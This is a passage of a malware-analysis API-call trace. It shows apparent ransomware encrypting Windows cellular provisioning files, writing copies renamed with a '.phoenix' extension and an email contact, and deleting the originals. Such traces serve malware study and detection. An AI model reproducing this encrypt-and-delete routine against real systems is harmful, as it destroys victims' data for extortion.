	[0249.750] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.751] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.751] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.752] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=716) returned 1
	[0249.752] CloseHandle (hObject=0x2f0) returned 1
	[0249.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0249.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.752] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.752] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.752] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.752] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.753] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0249.753] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.753] ReadFile (in: hFile=0x2f0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cc, lpOverlapped=0x0) returned 1
	[0249.768] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0249.768] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.769] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0249.769] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.769] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0249.769] CryptDestroyKey (hKey=0x151500) returned 1
	[0249.769] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0249.769] CryptDestroyKey (hKey=0x151200) returned 1
	[0249.769] CloseHandle (hObject=0x2f0) returned 1
	[0249.769] CloseHandle (hObject=0x2c4) returned 1
	[0249.769] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml")) returned 1
	[0249.770] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.770] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.771] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=851) returned 1
	[0249.771] CloseHandle (hObject=0x2c4) returned 1
	[0249.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.771] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.771] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.771] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.771] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0249.772] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0249.772] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.772] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x353, lpOverlapped=0x0) returned 1
	[0249.780] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0249.780] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0249.781] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0249.781] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.781] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.781] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0249.781] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.781] CryptDestroyKey (hKey=0x151680) returned 1
	[0249.781] CloseHandle (hObject=0x2c4) returned 1
	[0249.781] CloseHandle (hObject=0x2f0) returned 1
	[0249.781] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.782] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.782] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.794] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=513) returned 1
	[0249.794] CloseHandle (hObject=0x2c8) returned 1
	[0249.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0249.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.795] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.795] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.795] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.795] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.799] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0249.799] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.799] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x201, lpOverlapped=0x0) returned 1
	[0249.807] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x210, dwBufLen=0x210 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x210) returned 1
	[0249.807] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x210, lpOverlapped=0x0) returned 1
	[0249.808] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0249.808] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.808] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.808] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.809] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.809] CryptDestroyKey (hKey=0x151500) returned 1
	[0249.809] CloseHandle (hObject=0x2c8) returned 1
	[0249.809] CloseHandle (hObject=0x2d4) returned 1
	[0249.809] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\404__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0249.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.811] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0249.811] CloseHandle (hObject=0x2d4) returned 1
	[0249.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.811] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.811] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0249.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.812] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0249.812] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.812] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0249.887] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0249.887] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.888] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0249.888] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0249.888] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0249.888] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0249.888] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0249.888] CryptDestroyKey (hKey=0x151500) returned 1
	[0249.888] CloseHandle (hObject=0x2d4) returned 1
	[0249.888] CloseHandle (hObject=0x2c8) returned 1
	[0249.888] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.889] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0249.889] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.889] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=850) returned 1
	[0249.889] CloseHandle (hObject=0x2c8) returned 1
	[0249.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0249.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\410__Connections_Cellular_vodafone ES (Spain)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\410__connections_cellular_vodafone es (spain)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
